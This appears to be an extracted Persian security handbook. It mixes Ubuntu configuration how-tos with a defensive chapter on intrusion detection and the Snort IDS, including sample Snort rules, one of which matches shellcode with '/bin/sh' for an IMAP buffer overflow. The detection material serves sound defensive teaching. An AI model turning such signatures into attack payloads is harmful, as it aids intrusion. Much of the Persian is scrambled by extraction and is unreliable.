$gallery->app->albumDirURL = "http://localhost/albums"; 
... 

  .این خط فرمانها را به جای خط فرمانهای بالا درج نمایيد .٧

$gallery->app->photoAlbumURL = "http://www.url.com/gallery"; 
$gallery->app->albumDirURL = "http://www.url.com/albums"; 

  )یل ویرایش شدهیک نمونه از فا. (یل ویرایش شده را ذخيره نمایيدفا .٨
٩. php.albums/gallery/com.url.www://http  

  متغير قابل دیدن باشد ؟ IPچگونه این سرویس را پيکربندی کنم تا از طریق شبکه محلی با آدرس 

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيد برای راه اندازی سرویس گالری عکس را نصب کنم galleryچگونه بسته نرم افزاری بخش  .٢
  .فرض ميکنيم اتصالات شبکه به خوبی برقرار است .٣
  ١٩٢٫١٦٨٫٠٫١: متغير شبکه  IPآدرس  .٤

5. sudo cp /etc/gallery/config.php /etc/gallery/config.php_backup 
sudo gedit /etc/gallery/config.php 

  .خط فرمانهای زیر را پيدا کنيد .٦

... 
$gallery->app->photoAlbumURL = "http://localhost/gallery"; 
$gallery->app->albumDirURL = "http://localhost/albums"; 
... 

   .نها را به جای خط فرمانهای بالا درج نمایيداین خط فرما .٧
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$gallery->app->photoAlbumURL = "/gallery"; 
$gallery->app->albumDirURL = "/albums"; 

  )مونه از فایل ویرایش شدهیک ن. (یل ویرایش شده را ذخيره نمایيدفا .٨
٩. php.albums/gallery/192.168.0.1://http  

  چگونه از فایلهای این سرویس پشتيبان بگيرم و در مواقع ضروری برگردانم ؟

  . را مطالعه نمایيدنکات عمومی .١
   برای پشتيبان گيری از فایلهای گالری .٢

sudo tar zcvf gallery.tgz /var/www/albums/ /etc/gallery/ 

  برای باز گرداندن اطلاعات پشتيبان گرفته شده .٣

sudo tar zxvf gallery.tgz -C / 

   
  

  عيب يابی

  

  )دن طول ميکشدزمان زیادی برای لود ش... (پيکربندی شبکه 

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيدچگونه موقتا برخی از سرویسهای زمان بالا آمدن سيستم را حذف کنم بخش  .٢

  )زمان زیادی برای لود شدن طول ميکشد ... (ntp.ubuntulinux.orgعت سيستم از روی تنظيم سا

١. Read General Notes  
  . نمایيدرا مطالعه چگونه موقتا برخی از سرویسهای زمان بالا آمدن سيستم را حذف کنم بخش  .٢
    .را مطالعه نمایيدچگونه به صورت دائم برخی از سرویسهای زمان بالا آمدن سيستم را حذف کنم بخش  .٣

service_name = ntpdate  

   را غير فعال کنم ؟UTC) GMT(چگونه تنظيم شدن ساعت سيستم از روی 

  . را مطالعه نمایيدنکات عمومی .١
2. sudo cp /etc/default/rcS /etc/default/rcS_backup 

sudo gedit /etc/default/rcS 
 . خط فرمان زیر را پيدا کنيد .٣

... 
UTC=yes 
... 

   .ایيداین خط فرمان را به جای خط فرمان بالا درج نم .٤

UTC=no 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٥
٦. System - <Administration - <Time and Date   
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Set the correct time/date 
7. sudo /etc/init.d/hwclock.sh restart 

  پيکربندی کنم ؟GNOMEچگونه صدای سيستم را برای کار به صورت بهينه در 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيده کردن مخازن تکميلیاضافبخش  .٢

3. sudo killall esd 
sudo cp /etc/esound/esd.conf /etc/esound/esd.conf_backup 
sudo gedit /etc/esound/esd.conf 

 . خط فرمان زیر را پيدا کنيد .٤

... 
auto_spawn=0 
spawn_options=-terminate -nobeeps -as 5 
... 

 .  خط فرمان بالا درج نمایيداین خط فرمان را به جای .٥

auto_spawn=1 
spawn_options=-terminate -nobeeps -as 2 -d default 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٦
7. sudo apt-get install libesd-alsa0 

sudo gedit /etc/asound.conf 
 . خط فرمانهای زیر را در فایل جدید بنویسيد .٨

pcm.card0 { 
type hw 
card 0 
} 
 
pcm.!default { 
type plug 
slave.pcm "dmixer" 
} 
 
pcm.dmixer { 
type dmix 
ipc_key 1025 
slave { 
pcm "hw:0,0" 
period_time 0 
period_size 2048 
buffer_size 32768 
rate 48000 
} 
bindings { 
0 0 
1 1 
} 
} 

  )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٩
10. sudo ln -fs /usr/lib/libesd.so.0 /usr/lib/libesd.so.1 

١١. System - <Preferences - <Sound 
١٢. Sound preferences   

General Tab -> Sounds for events (Un-Checked) 

 .کليه برنامه ها و پنجره های باز را ذخيره کرده و ببندید و سپس سيستم را دوباره راه اندازی نمایيد .١٣

   پاک کنم ؟GNOMEچگونه به اجبار سطل آشغال را در 
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  . را مطالعه نمایيدنکات عمومی .١
2. sudo rm -fr $HOME/.Trash/ 

  را حذف کنم ؟GNOMEمنو دوبله شده در /چگونه آیتمهای منو

  . را مطالعه نمایيدنکات عمومی .١
2. rm -fr $HOME/.config/menus/applications.menu 

 . را مطالعه نمایيد کنم refresh را GNOME Panelچگونه بخش  .٣

   کنم ؟refresh ميتوانم GNOME را در Places Menuچگونه 

  . را مطالعه نمایيدنکات عمومی .١
2. sudo /etc/init.d/dbus-1 restart 

 
  

  Ubuntuارتقا دادن 

  

   ارتقا پيدا کنم ؟Breezy Badger به Hoary Hedgehogچگونه از 

  . را مطالعه نمایيدنکات عمومی .١
  . این بخش هنوز به صورت آزمایشی انجام ميشود!هشدار .٢

  .انجام این مرحله ممکن است کل سيستم شما را دچار مشکل کند
3. sudo cp /etc/apt/sources.list /etc/apt/sources.list_backup 

sudo gedit /etc/apt/sources.list 
 . خط فرمانهای زیر را پيدا کنيد .٤

deb cdrom:[Ubuntu 5.04 _Hoary Hedgehog_ - Release i386 (20050407)]/ hoary main restricted 
 
 
## Uncomment the following two lines to fetch updated software from the network 
# deb http://us.archive.ubuntu.com/ubuntu hoary main restricted 
# deb-src http://us.archive.ubuntu.com/ubuntu hoary main restricted 
 
## Uncomment the following two lines to fetch major bug fix updates produced 
## after the final release of the distribution. 
# deb http://us.archive.ubuntu.com/ubuntu hoary-updates main restricted 
# deb-src http://us.archive.ubuntu.com/ubuntu hoary-updates main restricted 
 
## Uncomment the following two lines to add software from the 'universe' 
## repository. 
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu 
## team, and may not be under a free licence. Please satisfy yourself as to 
## your rights to use the software. Also, please note that software in 
## universe WILL NOT receive any review or updates from the Ubuntu security 
## team. 
# deb http://us.archive.ubuntu.com/ubuntu hoary universe 
# deb-src http://us.archive.ubuntu.com/ubuntu hoary universe 
 
# deb http://security.ubuntu.com/ubuntu hoary-security main restricted 
# deb-src http://security.ubuntu.com/ubuntu hoary-security main restricted 
 
# deb http://security.ubuntu.com/ubuntu hoary-security universe 
# deb-src http://security.ubuntu.com/ubuntu hoary-security universe 

 . این خط فرمانها را بجای خط فرمانهای بالا بنویسيد .٥

#deb cdrom:[Ubuntu 5.04 _Hoary Hedgehog_ - Release i386 (20050407)]/ hoary main restricted 
 
 
## Uncomment the following two lines to fetch updated software from the network 
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deb http://us.archive.ubuntu.com/ubuntu breezy main restricted 
deb-src http://us.archive.ubuntu.com/ubuntu breezy main restricted 
 
## Uncomment the following two lines to fetch major bug fix updates produced 
## after the final release of the distribution. 
deb http://us.archive.ubuntu.com/ubuntu breezy-updates main restricted 
deb-src http://us.archive.ubuntu.com/ubuntu breezy-updates main restricted 
 
## Uncomment the following two lines to add software from the 'universe' 
## repository. 
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu 
## team, and may not be under a free licence. Please satisfy yourself as to 
## your rights to use the software. Also, please note that software in 
## universe WILL NOT receive any review or updates from the Ubuntu security 
## team. 
deb http://us.archive.ubuntu.com/ubuntu breezy universe 
deb-src http://us.archive.ubuntu.com/ubuntu breezy universe 
 
deb http://security.ubuntu.com/ubuntu breezy-security main restricted 
deb-src http://security.ubuntu.com/ubuntu breezy-security main restricted 
 
deb http://security.ubuntu.com/ubuntu breezy-security universe 
deb-src http://security.ubuntu.com/ubuntu breezy-security universe 
 
deb http://archive.ubuntu.com/ubuntu breezy multiverse 
deb-src http://archive.ubuntu.com/ubuntu breezy multiverse 

  )یک نمونه از فایل ویرایش شده. (رایش شده را ذخيره نمایيدیل ویفا .٦
7. sudo apt-get update 

sudo apt-get dist-upgrade 
 .وباره راه اندازی نمایيدکليه برنامه ها و پنجره های باز را ذخيره کرده و ببندید و سپس سيستم را د .٨

  

  

  

  

  

  

  

 

  
  

  
  
  
  
  
  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٤٢٤    صفحه

  
  

  
  
  
  

  
  
  

  . ها Honeypot ها و HDSمروری بر    : مششفصل 
 

 !!مروری کلی  
 . ها IDSانواع  

  
 N-IDS.  
 H-IDS.  
 .کدام نوع بهتر است  

 
  .IDSنصب و تنظيم  

  
  .IDSتعریف اهداف  
 .انتخاب آنچه باید تحت نظارت قرار گيرد  
  .انتخاب نحوه واکنش 
 .تنظيم حدود آستانه  
 .پياده سازی سيستم  

 
  .IDSمدیریت  

  
 . قادر به بيان است IDSدرک آنچه  
 . به شما  ميگوید IDSدر که آنچه  
 .بررسی وقایع مشکوک  
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  .IDSراه های فرار از دست   
 Honeypot ها . 
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  !!مرور کلی 
  

   : IDS  تهاجمسيستم تشخيص

ه    . دهد سيستم تشخيص تهاجم سيستمی است که وقوع حملات کامپيوتری را گزارش می   ن است ک به طور کلی هدف از تشخيص تهاجم ای
ستم      ا و شبکه   استفاده غيرمجاز، سوء استفاده و آسيب رساندن به سي امپيوتری توسط هر دو دسته      ه ان     های ک ی و مهاجم اربران داخل ی ک

اظ    .  شود خارجی شناسایی  تفاده از حف ار اس ی در کن ا، روش  در یک سيستم کامل امنيت ه    سازی اطلاعات و هویت    های مخفی   ه شناسی، ک
ستم        سعی می  رای محافظت از سي واری ب وان دی تفاده می     کنند از تهاجم جلوگيری کنند، از تشخيص تهاجم به عن امپيوتری اس . شود  های ک

ه مسؤول مربوطه گزارش می                  . کند  گيری نمی یک سيستم تشخيص تهاجم، از وقوع حمله جلو        رده و ب د   بلکه تنها حمله را شناسایی ک . ده
  .دهند ی خودکاری از ادامه حملات نيز انجام می های تشخيص حملات پس از شناخت آن، اقدامات پيشگيرانه البته بعضی از سيستم

  
ی  ه م اليتی گفت ه فع اجم ب ا ته ه ی بکه صورت گرف  حمل ارج ش ه از خ ه چ ود ک ه ش بکه جنب ه از داخل ش د چ ه باش ی ت ای امنيت ت، -ه  تمامي

ذیری  ترس پ انگی و دس د-محرم ا سياست  ..  را نقض کن ایر ب ه مغ ه را ک اجم آنچ شخيص ته ی  ت شخيص م د، ت ی رخ ده ای امنيت د ه . ده
ا   سيستم تشخيص تهاجمی. دهند افزاری انجام می افزاری یا نرم های تشخيص تهاجم این کار را به صورت سخت   سيستم ه ت  مطلوب است ک

هنگامی . ٢ یا منفی غلط  ١مثبت غلط . های تشخصی تهاجم به دو صورت ممکن است روی دهد           خطا در سيستم  . حد ممکن خطایش کم باشد    
د   که سيستم تهاجمی را تشخيص دهد در حالی که حمله     ای رخ نداده باشد، خطای نوع مثبت غلط وجود دارد و هنگامی که تهاجم روی ده

ت     ط روی داده اس ی غل وع منف ای ن د، خطاه شخيص نده ستم آن را ت ستم.و سي ع آوری     سي ع جم وع منب ر ن اجم از نظ شخيص ته ای ت ه
 :اند های زیر تکامل یافته ت در نسلاعاطلا

  

  زباني بر میص تهاجم مبتني تشخیها ستميس: نسل اول 

ن  ستم  ای ه     سي ه در ده ا ک ل از داده    ١٩٨٠ه رای تحلي د شدند، ب ستم   آوری شده  های جمع    تولي تفاده می    در سطح سي د  عامل اس  IDES .کنن
دهنده ناهنجاری و هم یک  یعنی هم دارای یک تشخيص. اری ترکيبی داشتمعم IDES نمونه اوليه. باشد می معروفترین نماینده این نسل

ا         از روش تشخيص دهنده ناهنجاری با استفاده. سيستم خبره بود اری آنه ابقه رفت ا س سه ب اربران در مقای ار ناهنجار ک را  های آماری، رفت
رد،   م را مستقل از رفتار گذشته کاربران توصيف می  سيست پذیر داد و سيستم خبره با کمک یک پایگاه قواعد که نقاط آسيب تشخيص می ک

   .کشف می نمود تهدیدات امنيتی را

  

   هک بر شبیص تهاجم مبتني تشخیها ستميس: نسل دوم

ستم   آغاز گردید، شامل ١٩٩٠و از سال  NSM های تشخيص تهاجم که با ظهور دوم سيستم نسل ه        سي ه ترافيک شبکه را ب ایی است ک ه
 :کند می با انجام مراحل زیر تهاجم را در سطح شبکه شناسایی NSM .اند قرار داده تی مورد استفادهعنوان منبع اطلاعا

  و گوش دادن به تمام ترافيک شبکه 3بردن کارت واسط شبکه به مد گوش ایستادن •
  د و بدل شده در شبکههای ر گرفتن بسته •
  ها های لازم از بسته استخراج اطلاعات و ویژگی •
ز      ویژگی استفاده از یک روش مبتنی بر ماتریس برای کشف و تحليل • ال و ني ار نرم اری از رفت ها و سپس تشخيص انحراف آم

 .از پيش تعيين شده انحراف از قوانين

  

  همگون  بر منابع نایص تهاجم مبتني تشخیها ستميس: نسل سوم

 
اهمگون      های تشخيص تهاجم را به بودن یک نوع منبع اطلاعاتی برای تشخيص تهاجم، سيستم ناکافی ابع اطلاعاتی ن تفاده از من سمت اس
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ع شده     های نسل سوم به سمت  سيستم. کنند هم از ميزبان و هم از شبکه جمع آوری می ها اطلاعات را این سيستم. سوق داد اری توزی معم
  .گویند 4ها را مبتنی بر عامل این سيستم). تحليل آنها هم از حيث جمع آوری داده ها و هم از نظر(اند پيش رفته

   Snort یمعرف

 
Snort باشد ق به نسل سوم میتشخيص تهاجم رایگان متعل یک سيستم. Snort ه   بلادرنگ شبکه و ثبت رویداد توانایی تحليل ترافيک نام
ام داده      همچنين می Snort .است های شبکه را دار IP ها روی بسته وا را انج اق محت رارداد، جستجو و انطب رای   تواند اعمال تحليل ق و ب

اوش  CGI حملات یش درگاه،ها، مانند سرریز بافر، پو ها و کاوش تشخيص بسياری از حمله ه شود     SMB و ک ار گرفت ه ک از  Snort .ب
ن . کند استفاده می قابل انعطاف برای تفسير ترافيکی که باید ثبت گشته یا عبور داده شود، یک زبان تعریف قوانين از  Snort علاوه بر ای
شدار سم ه ل 5دهی یک مکاني دادها در فای رای ثبت روی ا در بلادرنگ ب ق سوکت ه ا از طری ال آنه ا، انتق ام ه ا یک پيغ وکس و ی  لين

Winpopup های ویندوز از طریق به کاربران سيستم smbclient کند استفاه می.  

 
   Snort یمعمار

Snort        شکيل شده است ع از سه بخش اساسی ت اری    یک ١شکل  . در واق اده از معم شان می   Snort  طرح س د  را ن ه    . ده ن سه مؤلف ای
 :عبارتند از

انه      :6واگشای بسته  • ه هر سه رس ن مؤلف شتيبانی می   9PPP و Ethernet7، 8SLIP ای د  را پ ه     . کنن وط ب ع اطلاعات مرب در واق
  .ناسبی برای مولفه موتور تشخيص مهيا می کندبسته های شبکه را به فرمت م

سته    . دهد را تشکيل می Snort قلب سيستم :10موتور تشخيص • ل ب ه مسؤوليت تحلي ر   این مؤلف ا ب وانين   ه ه در   Snort )اساس ق ک
ده دارد  را بر) اند ی شدههنگام اجرا در حافظه بارگذار شخيص         Snort .عه رای ت راوان ب اه داده حاوی الگوهای ف از یک پایگ

سه می    موتور تشخيص به صورت بازگشتی هر بسته ورودی را با قوانين. کند استفاده می حملات د  تعریف شده خود مقای ا  . کن ب
ای که  بسته. شود ذکر شده در دستور در مورد آن بسته اجرا می 11منطبق باشد، عمل پيدا شدن اولين قانونی که با وضعيت بسته

ه می      با هيچ قانونی ده گرفت ه سادگی نادی شخيص  . شود  منطبق نباشد، ب ور ت ابليتی  Snort موت رای اضافه کردن    ق و  plugin ب
  .گردند جدید دارد که منجر به افزایش قدرت تحليل آن می 12های پيمانه

دادنگار  • ده  13روی ه هستند        :14هشدار دهن ه جداگان ع دو زیرمؤلف ده در واق دادنگار و هشدار دهن دادنگار . روی ه شما اجازه     روی ب
يش   . مشاهده کنيد tcpdump فهم برای انسان و یا دهد تا همه اطلاعات مربوط به ترافيک شبکه را به فرمت قابل می به طور پ

   .شوند می ثبت var/log/Snort/alerts/ و همه هشدارها در شاخه var/log/snort/ شاخه یدادها درفرض همه رو

   Snort نيقوان

های زیر تشکيل شده   این فایل از بخش. شوند که به سادگی قابل ویرایش باشند داری می نگه ASCII در یک فایل با فرمت Snort قوانين
  :است

  .شوند کاربرد دارند، استفاده می Snort برای تعریف متغيرهایی که در ایجاد قوانين :15متغيرها •
اجم در سازمان مربوطه هماهنگ         قوانين باید با سياست. وندر برای تشخيص تهاجم به کار می :16قوانين • شخيص ته ی ت های کل

  .باشند
ازی می   plugin نقش  :17پيش پردازنده • ا را ب ل      ه ایی تحلي رای گسترش توان د و ب ار   Snort کنن ه ک د  می  ب و  . رون ه عن ال  ب ان مث

  .حملات پویش درگاه را کشف کند دهد تا این امکان را می Snort به portscan قابليت
  .های قوانين دیگر برای دربرگرفتن فایل :include های فایل •
 .ها و هشدارها را مشخص کند دهد تا خروجی رویدادنامه اجازه میort  Snبه مدیر سيستم: خروجی 24های پيمانه •

ان شوند     .19ها قانون و گزینه 18سرآیند: شوند از دو بخش منطقی تشکيل می Snort قوانين د     . قوانين باید در یک خط بي ن بای ر ای علاوه ب
ه      را شامل IP های آدرس ام ب ه ن را عمل ترجم ذیر نيست  .امکان  Snort در IP شوند، زی ی  . پ ه    را می  Snort دستورات  شکل کل وان ب ت

 :صورت زیر بيان کرد

 Action Protocol Source_Ip_Address Source_Port --> Destination_Ip_Address Destination_Port (Options)  
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• Action: دارهای    می . شود  بسته روی آن انجام می  بيانگر عملی است که در قبال انطباق با یک د یکی از مق ، alert ،log توان
pass، activate یا dynamic باشد. 

•  Protocol: د یکی از مقدارهایتوان می. دهد پروتکل ارتباطی را نشان می TCP ،IP  ،UDP ،ICMP یا IGMP باشد.  
• Port: دهد شماره درگاه را نشان می 
• Direction: باشد <> یا <- تواند یکی از مقدارهای می. دهد جهت ارتباط را نشان می.  
• Options: دهند های مختلف اجرای دستور را نشان می گزینه.  

سم آدرس  IP های  دهی سنتی مبتنی بر کلاس ها به جای نحوه آدرسIP کردن برای مشخص تفاده می   20CIDRدهی  از مکاني ن  . شود  اس ای
ا  IP های  ازه آدرسدر این روش، ب . رود مکانيسم مبتنی بر کلاس به کار می دهی نسبت به ساختار برای استفاده بهينه از فضای آدرس  ب

 :به صورت زیر است CIDR در IP شکل نمایش. شوند متناظر با آن نشان داده می21ابتدایی و نقاب شبکه IP ترکيب آدرس

 
 xxx.xxx.xxx.xxx/n  

n  برای مثال عبارت. دهد را نشان می) از سمت چپ( های موجود در نقاب شبکه١تعداد 

 192.168.12.0/23  

اب شبکه    ا آغاز از    ١٩٢٫١۶٨٫١٢ را روی آدرس شبکه  ٢۵۵٫٢۵۵٫٢۵٢٫٠نق ال می  ١٩٢٫١۶٨٫١٢٫٠، ب ازه       اعم ع ب ه در واق د ک کن
د  را تعریف می   192.168.13.255 - 192.168.12.0 آدرسی  ال . کن ه    مث ر نمون ر  دهی م  آدرس ای از های زی ی ب شان   CIDR بتن را ن

  .دهند می

 خاص IP تعریف یک آدرس

192.168.30.2/32 = 192.168.30.2  

 Cتعریف یک کلاس

 
192.168.30.0/24 = 192.168.30.0 - 192.168.30.255  

 B تعریف یک کلاس

192.168.0.0/16 = 192.168.0.0 - 192.168.255.255  

 A تعریف یک کلاس

192.0.0.0/8 = 192.0.0.0 - 192.255.255.255 

 C کلاس٨تعریف  

 192.168.30.0/21 = 192.168.30.0 - 192.168.37.255  

دهد را نشان می Snort  یک مثال از فرمت کلی یک دستور٢شکل  .  
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 Snort  فرمت کلی دستورات– ٢شکل 

ا هشدار داده   این سياست اتفاقاتی . باشد تهاجم می اولين اقدام قبل از نوشتن قوانين، تعيين سياست تشخيص شوند و   را که باید ثبت شوند ی
 .مراجعه کنيد  Common snort Alertsساده به برای بررسی یک سياست. کند یا اینکه نادیده گرفته شوند، مشخص می

  

   Snort ف حملات دريتوص

 
وانين آن صورت می      Snort حملات در توصيف تفاده از ق ا اس ل معرفی      ب ه در بخش قب رد ک ه از توصيف     . شدند  گي د نمون ه چن در ادام

  .گيرند می مورد بررسی قرار Snort حملات در

alert tcp any any -> 192.168.1.0/24 143 (content: "|90C8 C0FF FFFF|/bin/sh"; msg: "IMAP buffer 
overflow!";)  

سته ه ب رای هم وق ب رارداد دستور ف ا ق صد TCP های ب ه مق اه  ک ا، درگ ا شروع از آدرس ) C کلاس IP های  از آدرس١۴٣آنه ب
 .کند می را چاپ "IMAP buffer overflow" و دارای محتوای مشخص شده هستند، پيغام است) ١٩٢٫١۶٨٫١٫٠

 alert tcp any any -> 192.168.1.0/24 21 (content: "USER root"; nocase; msg: "FTP root user access 
attempt";)  

ه سعی می     ا شناسه    دستور فوق برای همه اتصالاتی ک د ب اربری  کنن اه    root ک ق درگ ی   (٢١و از طری اه کنترل ازه آدرس    (ftp درگ ه ب ب
  .کند متصل شوند، پيغام هشدار مربوطه را چاپ می خاصی

alert any any -> 192.168.1.0/24 any (flags: SF; msg: "Possible SYN FIN scan";) 

  .دهد آنها روشن باشد، پيغام هشدار می FIN و SYN دستور فوق برای اتصالاتی که پرچم 

  

  :Snort ی و اجرایانداز راه

Snort توان منبع و یا باشد که می می 22باز یک نرم افزار منبع RPM   آن را از وب سایت اختصاصی Snort ا یا از رد   نج ا  . دریافت ک ت
  .باشد می Snort 2.1.3زمان تهيه این مطلب، آخرین نسخه انتشار یافته از این نرم افزار، 

 
Snort سه مد عملياتی زیر به کار گرفتتوان در  را می: 

  (Packet Sniffer) ها گوش کننده بسته  •
  (Packet logger) ها ثبت کننده بسته •
  (NIDS) یک سيستم تشخيص تهاجم کامل مبتنی بر شبکه •

ه و نيز داده های مربوط  TCP/UDP/ICMP شده و اطلاعات سرآیند ها از شبکه دریافت ، تنها بستهPacket Sniffer در مد  به برنام
 :استفاده کنيم vd کافی است از گزینه در این حالت Snort برای اجرای. شوند کاربردی روی خروجی تعریف شده نوشته می

 #snort –vd  

رای اجرای  . ، اطلاعات فوق روی دیسک سخت ثبت می شوند    Packet Logger در مد د می    Snort ب ن م ر     در ای وان از دستور زی ت
 :کمک گرفت
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 #snort –dev –l /var/log/today.log  

ه   (etc/Snort.rules/ موجود در مسير  (کرده و از فایل قوانين خود  گوش Ie0 به واسط Snortبه عنوان یک سيستم تشخيص تهاجم،  ب
  :شود اجرا می daemon فایل پيکربندی استفاده کرده و در مد عنوان

# snort -D -i le0 -c /etc/snort.rules 

 Snort را به ترتيبی که در فایل قوانينقوانين  Snort ه ترتيب      . کند آمده است، اعمال نمی يش فرض ب ه صورت پ  بلکه اعمال قوانين ب
Alert ،Pass و Log  ن ترتيب می     . باشد  می ر ای رای تغيي ه   ب وان از گزین رد   o– ت تفاده ک ه . اس ه هشدارها    A– گزین وط ب  (Alert)مرب
ه  .unsock و full ،fast ،none :ادن وجود دارد نحوه هشدار د   چهار حالت برای. باشد می ه  unsock گزین ا    اجازه می   Snort ب د ت ده

ن هشدارها   افزار برای شنيدن یک نرم 23فرض که در سمت دیگر سوکت بفرستد، با این Unix هشدارهای خود را روی سوکت های  ای
  .به گوش ایستاده است

  :منابع

اجم،              های آموزشی امنيت شبکه       دوره] ١[ شخيص ته ابرات، مرکز امنيت شبکه شریف، دوره ت ات مخ امپيوتری در مرکز تحقيق های ک
  ٨١زمستان 

 
[2] Nalneesh Gaur, snort: Planning IDS for Your Enterprise, Linux Journal, , July 11, 2001 

 

  

1   False Positive 
2   False Negative 
3   Promiscuous 
4   Agent 
5   Alerting 
6   Packet Decoder 

   استاندارد اتصال کامپيوترها در یک شبکه محلی  ٧

   تلفن و مودم استاندارد اتصال به اینترنت از طریق یک خط  ٨

  استاندارد مورد استفاده در اینترنت برای اتصالات سریال  ٩

10  ِDetection Engine 
11  Action 
12  Module 
13  Logger 
14  Alerter 
15  Varible 
16  Rule 
17  Preprocessor 
18  Header 
19  Options 
20  Classless Inter-Domain Routing 
21  Network Mask 
22  Open Source 
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  )IDS(کاشف ورود غير مجاز به سيستم 
  

ر                                   شخيص ورود غي ستم ت د سي تفاده کن اجم از آن اس ر مه رای محافظت سازمان در براب د ب از دیگر ابزارهای که متصدی امينی می توان
ام   .تشخيص ورود غير مجاز مفهومی انفعالی است که در آن سعی ميشود هویت هکر نفوذ کننده تعيين شود            .مجاز است  ه هنگ این سيستم ب

ه  .بروز تهاجم موفق هشدار می دهد      علاوه بر این می تواند با دادن هشدار نسبت به اینکه تهدیدی در حال جمع آوری اطلاعات برای حمل
د          ال کمک ميکن سئله عم        .است به شناسایی تهدیدات فع ن م د در عمل ای د دی ه خواهي دارد   وچنانچه در ادام ات    .ميت ن شریح جزئي ل از ت قب

   چيست؟واقعاًشخيص ورود غير مجاز ببينيم این سيستم ت
  

 . است  Intrusion Detection System که خود سر واژه کلمات     ناميده ميشودIDSسيستم تشخيص ورود غير مجاز که به اختصار 
وده است     از مدتها پيش وجود داشته است بطوریکه انواع آن بصورت نگهبان شب و سگ              ن م  . های نگهبان ب ان در ای   سگ  وورد نگهب

 ابزاری را فراهم می کنند که مسئله بدی که در حال وقوع است را شناسایی کرده و مجرم را بازداشت کرده یا از فعاليت وی ممانعت                 ها
د                اکثر سارقان تمایل ندارند با سگ روبرو شوند از         .عمل آید ه  ب ه سگ دارد دزدی کنن د از ساختمانی ک سئله در   .اینرو دوست ندارن  ان م

  .مورد نگهبان شب هم درست است چون دزد نمی خواهد توسط نگهبانی که احتمالا تفنگ هم دارد توقيف شود و تحویل پليس داده شود
  

زی شده                  .  است   IDS هم شکل دیگری از      ردزد گي دستگاه های    ه ری رایش برنام ه ب د ک ه ای را کشف کن ده ،واقع ستم هشدار دهن اگر سي
شود   ها روشن ميشود و زنگ    ا باز شده در ، چراغ     ی باشد از قبيل شکستن پنجره     ه مي دامات  .ها به صدا در می آید و با پليس تماس گرفت اق

ت روی داشبورد یها دارای یک چراغ قرمز و قابل رواغلب اتومبيل !!! م ميشودابازدارنده یا قفل کردن پنجره و حصار اطراف خانه انج        
  .دهدگير را نشان  هستند تا فعال بودن سيستم دزد

  
وم اصلی مشترک است                تمام مثال  وق در یک مفه ی            IDSهای ف ورد امنيت ا م ه محيط ی وذ ب ه تلاش در جهت نف شخيص هرگون ی ت  یعن

رهستجارت،( ه است ...)اختمان،اتومبيل و غي رار گرفت ه تحت حفاظت ق ان   .ک ی آس يط امنيت ایی مح ل شناس اختمان و اتومبي ورد س در م
  . به وضوح فضای امنيتی را معين می کنداتومبيلزمين و ملک ، درب و پنجره های دیوارهای ساختمان ،حفاظ دور .است

 
ایيم           ی     . حال باید محيط امنيتی کامپيوتر یا شبکه کامپيوتری خودمان را تعریف و تعيين نم امپيوت واضح است فضای امنيت ه   رک  و شبکه ب

دارد   ود ن شود وج ين مي ظ تعي ا حف وار ی ه دی ان روشی ک ضای. هم ه  در عوض ف اره دارد ک ازی اش ضای مج بکه یک ف ی یک ش  امنيت
اطی تعریف                . سيستمهای کامپيوتری سازمان را احاطه کرده است         اط مشخص ارتب زی و نق این فضا توسط فایروال ،کامپيوترهای رومي

ازه اتصال به شبکه را  تجاری که اجشرکایکامپيوترهای خانگی پرسنلی که اجازه برقراری ارتباط داند و  ، با گسترش این فضا   .ميشود
  .جانده ميشودنآن گدارند هم در 

  
ه کسی داخل             ه  گير ب  دزد واقعی ک ساختمان نيست    صورتی طراحی ميشود که هر گونه تلاش برای ورود به ناحيه حفاظت شده را در م

ال خوبی      . ای طراحی ميشود که بين ورود مجاز و غير مجاز تفاوت قائل شود             گونهه   ب IDS.تشخيص دهد  ستم دزد       درمث ه سي ن زمين  ای
د پس از                .گير نصب شده در فروشگاه جواهرات است       به محض باز شدن در توسط هر کس حتی مالک فروشگاه آژیر به صدا در می آی

ه راه است                 ز روب ه چي رده است و هم . آن مالک فروشگاه به شرکت سازمان سيستم هشدار دهنده خبر می دهد که خودش درب را باز ک
ا                   تم است که مقابل درب ایستاده و        یناه نگهب بخيلی شبيه    IDSسيستم   ال سوء نظره ه دنب ام مراجعان به فروشگاه را تحت نظر دارد و ب
   !!د اسلحه غير قابل رویت استرمتاسفانه در جهان واقعی در اغلب موا) برای مثال حمل اسلحه(ميگردد

  
شود دومين مسئله ای که باید در نظر گرفته شود تشخيص وقایع اس    ين     . ت که تخلف و تخطی از فضای امنيتی تلقی مي رای تعي ا تلاش ب آی

سيستمهای زنده از این قبيل وقایع است ؟نظر شما درباره استفاده از جمله ای شناخته شده عليه یک سيستم یا شبکه چيست؟با مطرح شدن        
  .یگر و وضعيت سيستم مورد نظر بستگی داردع دیدر عوض جوابها به وقا.این سئوالها واضح است که جواب سفيد یا سياه نيست

  
  )تشخيص ورود غير مجاز( IDSانواع سيستمهای 

  
IDSدو نوع اصلی دارد :  

  
• -Host-based  که به اختصار H-IDSگفته ميشود   
• -Network-based  که به اختصار N-IDSگفته ميشود   

  
  
  
  
  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٤٣٢    صفحه

  
  
  

H-IDS  حمله به سيستم ميگردد انه هایروی خود سيستم تحت نظر نصب ميشود و به دنبال نش ؛.  
  

N-IDS    ه روی آن بخش               ؛ ی ميگردد ک روی سيستم جداگانه ای نصب ميشود و با کنترل و مشاهده ترافيک شبکه به دنبال نشانه حملات
  .  IDS این دو نوع تفاوتنشان داده شده است  زیر در شکل.ام استجحال ان از شبکه در

  
  

  
  

   محيط شبکهدر IDSقرار گيری انواع  گیچگون
  

   )روی خود سيستم (H-IDSتشريح  •
  

